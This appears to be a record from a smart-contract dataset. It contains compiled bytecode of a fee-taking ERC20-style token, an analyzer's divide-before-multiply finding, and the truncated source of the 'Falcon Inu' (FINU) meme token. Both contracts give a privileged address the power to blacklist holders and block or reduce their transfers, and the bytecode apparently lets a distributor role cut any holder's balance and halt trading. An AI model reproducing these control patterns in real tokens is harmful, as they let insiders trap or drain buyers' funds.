8036038101906102759190612272565b610a12565b60405161028791906124bd565b60405180910390f35b610298610a80565b6040516102a59190612547565b60405180910390f35b6102c860048036038101906102c391906123b8565b610a97565b6040516102d59190612413565b60405180910390f35b6102f860048036038101906102f3919061258e565b610b4a565b60405161030591906124bd565b60405180910390f35b6103286004803603810190610323919061242e565b610bd4565b60405161033591906124bd565b60405180910390f35b610346610c1d565b005b610362600480360381019061035d919061242e565b610d70565b005b61036c610ea4565b005b610376610f8e565b60405161038391906125dd565b60405180910390f35b610394610fb7565b6040516103a19190612338565b60405180910390f35b6103c460048036038101906103bf91906123b8565b611049565b6040516103d19190612413565b60405180910390f35b6103f460048036038101906103ef91906123b8565b611116565b6040516104019190612413565b60405180910390f35b610424600480360381019061041f91906125f8565b611134565b60405161043191906124bd565b60405180910390f35b610454600480360381019061044f919061242e565b6111bb565b6040516104619190612413565b60405180910390f35b610484600480360381019061047f919061242e565b611211565b005b6000610490611390565b9050600a60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561051f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610516906126aa565b60405180910390fd5b600061052a83611398565b50505050905061058281600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461134690919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506105da81600e5461134690919063ffffffff16565b600e819055506105f583600c546113f090919063ffffffff16565b600c81905550505050565b60606002805461060f906126f9565b80601f016020809104026020016040519081016040528092919081815260200182805461063b906126f9565b80156106885780601f1061065d57610100808354040283529160200191610688565b820191906000526020600020905b81548152906001019060200180831161066b57829003601f168201915b5050505050905090565b60006106a661069f611390565b848461144e565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610740576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073790612777565b60405180910390fd5b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461082b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082290612777565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561089b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089290612809565b60405180910390fd5b6108c881604051806060016040528060228152602001612f9d60229139846116199092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6000600f60009054906101000a900460ff16905090565b6000690a968163f0a57b400000905090565b600061094684848461167d565b610a0784610952611390565b610a0285604051806060016040528060288152602001612fe560289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109b8611390565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116199092919063ffffffff16565b61144e565b600190509392505050565b6000600e54821115610a59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a509061289b565b60405180910390fd5b6000610a63611d81565b9050610a7881846112fc90919063ffffffff16565b915050919050565b6000600460009054906101000a900460ff16905090565b6000610b40610aa4611390565b84610b3b8560056000610ab5611390565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f090919063ffffffff16565b61144e565b6001905092915050565b6000690a968163f0a57b400000831115610b99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9090612907565b60405180910390fd5b81610bb8576000610ba984611398565b50505050905080915050610bce565b6000610bc384611398565b505050915050809150505b92915050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c25611390565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca990612973565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610d78611390565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfc90612973565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e6057600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2b90612777565b60405180910390fd5b60011515600f60009054906101000a900460ff1615151415610f70576000600f60006101000a81548160ff021916908315150217905550610f8c565b6001600f60006101000a81548160ff0219169083151502179055505b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610fc6906126f9565b80601f0160208091040260200160405190810160405280929190818152602001828054610ff2906126f9565b801561103f5780601f106110145761010080835404028352916020019161103f565b820191906000526020600020905b81548152906001019060200180831161102257829003601f168201915b5050505050905090565b600061110c611056611390565b846111078560405180606001604052806025815260200161300d6025913960056000611080611390565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116199092919063ffffffff16565b61144e565b6001905092915050565b600061112a611123611390565b848461167d565b6001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129890612777565b60405180910390fd5b6001600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600061133e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611dac565b905092915050565b600061138883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611619565b905092915050565b600033905090565b60008060008060008060006113ac88611e0f565b9150915060006113ba611d81565b905060008060006113cc8c8686611e61565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b60008082846113ff91906129c2565b905083811015611444576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143b90612a64565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612af6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612b88565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161160c91906124bd565b60405180910390a3505050565b6000838311158290611661576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116589190612338565b60405180910390fd5b50600083856116709190612ba8565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e490612c4e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561175d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175490612ce0565b60405180910390fd5b600081116117a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179790612d72565b60405180910390fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806118415750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561188a5760008114611889576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188090612db8565b60405180910390fd5b5b60011515600f60009054906101000a900460ff16151514806118de57506118af611ebf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061191b57506118ec611ebf565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611d2557600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156119c35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b7657611a3481604051806060016040528060268152602001612fbf60269139600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116199092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ac981600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f090919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b6991906124bd565b60405180910390a3611d20565b611be281604051806060016040528060268152602001612fbf60269139600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116199092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c7781600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f090919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d1791906124bd565b60405180910390a35b611d7c565b60011515600f60009054906101000a900460ff16151514611d7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7290612db8565b60405180910390fd5b5b505050565b6000806000611d8e611ee9565b91509150611da581836112fc90919063ffffffff16565b9250505090565b60008083118290611df3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dea9190612338565b60405180910390fd5b5060008385611e029190612e07565b9050809150509392505050565b6000806000611e3b6003611e2d6064876112fc90919063ffffffff16565b6121bc90919063ffffffff16565b90506000611e52828661134690919063ffffffff16565b90508082935093505050915091565b600080600080611e7a85886121bc90919063ffffffff16565b90506000611e9186886121bc90919063ffffffff16565b90506000611ea8828461134690919063ffffffff16565b905082818395509550955050505093509350939050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000806000600e5490506000690a968163f0a57b400000905060005b600b8054905081101561216f578260076000600b8481548110611f2b57611f2a612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061201957508160086000600b8481548110611fb157611fb0612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561203857600e54690a968163f0a57b400000945094505050506121b8565b6120c860076000600b848154811061205357612052612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461134690919063ffffffff16565b925061215a60086000600b84815481106120e5576120e4612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361134690919063ffffffff16565b9150808061216790612e67565b915050611f05565b5061218f690a968163f0a57b400000600e546112fc90919063ffffffff16565b8210156121af57600e54690a968163f0a57b4000009350935050506121b8565b81819350935050505b9091565b6000808314156121cf5760009050612231565b600082846121dd9190612eb0565b90508284826121ec9190612e07565b1461222c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222390612f7c565b60405180910390fd5b809150505b92915050565b600080fd5b6000819050919050565b61224f8161223c565b811461225a57600080fd5b50565b60008135905061226c81612246565b92915050565b60006020828403121561228857612287612237565b5b60006122968482850161225d565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156122d95780820151818401526020810190506122be565b838111156122e8576000848401525b50505050565b6000601f19601f8301169050919050565b600061230a8261229f565b61231481856122aa565b93506123248185602086016122bb565b61232d816122ee565b840191505092915050565b6000602082019050818103600083015261235281846122ff565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006123858261235a565b9050919050565b6123958161237a565b81146123a057600080fd5b50565b6000813590506123b28161238c565b92915050565b600080604083850312156123cf576123ce612237565b5b60006123dd858286016123a3565b92505060206123ee8582860161225d565b9150509250929050565b60008115159050919050565b61240d816123f8565b82525050565b60006020820190506124286000830184612404565b92915050565b60006020828403121561244457612443612237565b5b6000612452848285016123a3565b91505092915050565b60008060006060848603121561247457612473612237565b5b6000612482868287016123a3565b93505060206124938682870161225d565b92505060406124a48682870161225d565b9150509250925092565b6124b78161223c565b82525050565b60006020820190506124d260008301846124ae565b92915050565b6000806000606084860312156124f1576124f0612237565b5b60006124ff868287016123a3565b9350506020612510868287016123a3565b92505060406125218682870161225d565b9150509250925092565b600060ff82169050919050565b6125418161252b565b82525050565b600060208201905061255c6000830184612538565b92915050565b61256b816123f8565b811461257657600080fd5b50565b60008135905061258881612562565b92915050565b600080604083850312156125a5576125a4612237565b5b60006125b38582860161225d565b92505060206125c485828601612579565b9150509250929050565b6125d78161237a565b82525050565b60006020820190506125f260008301846125ce565b92915050565b6000806040838503121561260f5761260e612237565b5b600061261d858286016123a3565b925050602061262e858286016123a3565b9150509250929050565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b6000612694602c836122aa565b915061269f82612638565b604082019050919050565b600060208201905081810360008301526126c381612687565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061271157607f821691505b60208210811415612725576127246126ca565b5b50919050565b7f43616c6c6572206973206e6f7420666565206469737472696275746f72000000600082015250565b6000612761601d836122aa565b915061276c8261272b565b602082019050919050565b6000602082019050818103600083015261279081612754565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7320646973616c6c6f7765640000000000000000000000000000000000000000602082015250565b60006127f3602c836122aa565b91506127fe82612797565b604082019050919050565b60006020820190508181036000830152612822816127e6565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612885602a836122aa565b915061289082612829565b604082019050919050565b600060208201905081810360008301526128b481612878565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b60006128f1601f836122aa565b91506128fc826128bb565b602082019050919050565b60006020820190508181036000830152612920816128e4565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061295d6020836122aa565b915061296882612927565b602082019050919050565b6000602082019050818103600083015261298c81612950565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006129cd8261223c565b91506129d88361223c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612a0d57612a0c612993565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612a4e601b836122aa565b9150612a5982612a18565b602082019050919050565b60006020820190508181036000830152612a7d81612a41565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612ae06024836122aa565b9150612aeb82612a84565b604082019050919050565b60006020820190508181036000830152612b0f81612ad3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612b726022836122aa565b9150612b7d82612b16565b604082019050919050565b60006020820190508181036000830152612ba181612b65565b9050919050565b6000612bb38261223c565b9150612bbe8361223c565b925082821015612bd157612bd0612993565b5b828203905092915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612c386025836122aa565b9150612c4382612bdc565b604082019050919050565b60006020820190508181036000830152612c6781612c2b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612cca6023836122aa565b9150612cd582612c6e565b604082019050919050565b60006020820190508181036000830152612cf981612cbd565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612d5c6029836122aa565b9150612d6782612d00565b604082019050919050565b60006020820190508181036000830152612d8b81612d4f565b9050919050565b50565b6000612da26000836122aa565b9150612dad82612d92565b600082019050919050565b60006020820190508181036000830152612dd181612d95565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612e128261223c565b9150612e1d8361223c565b925082612e2d57612e2c612dd8565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612e728261223c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612ea557612ea4612993565b5b600182019050919050565b6000612ebb8261223c565b9150612ec68361223c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612eff57612efe612993565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612f666021836122aa565b9150612f7182612f0a565b604082019050919050565b60006020820190508181036000830152612f9581612f59565b905091905056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220169a3de8b3299678bf3cdd5b91b4c9c05f19fd9a49fd30f86d7c46a5739e364e64736f6c63430008080033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 4,246 |
0x0a7d45a330c74d8cf1d7520b3cad64e4f408b625
|
/**
*Submitted for verification at Etherscan.io on 2022-04-14
*/
//Doge + Falcon 9 = FINU
//To the Mars
//Stealth launch
//Please join in our discord
pragma solidity ^0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract FINU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Falcon Inu";
string private constant _symbol = "FINU";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x56b5514Ebf47AA6d6b9Fef211DFc2C879e446935);
_feeAddrWallet2 = payable(0x56b5514Ebf47AA6d6b9Fef211DFc2C879e446935);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 1;
_feeAddr2 = 9;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 1;
_feeAddr2 = 9;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
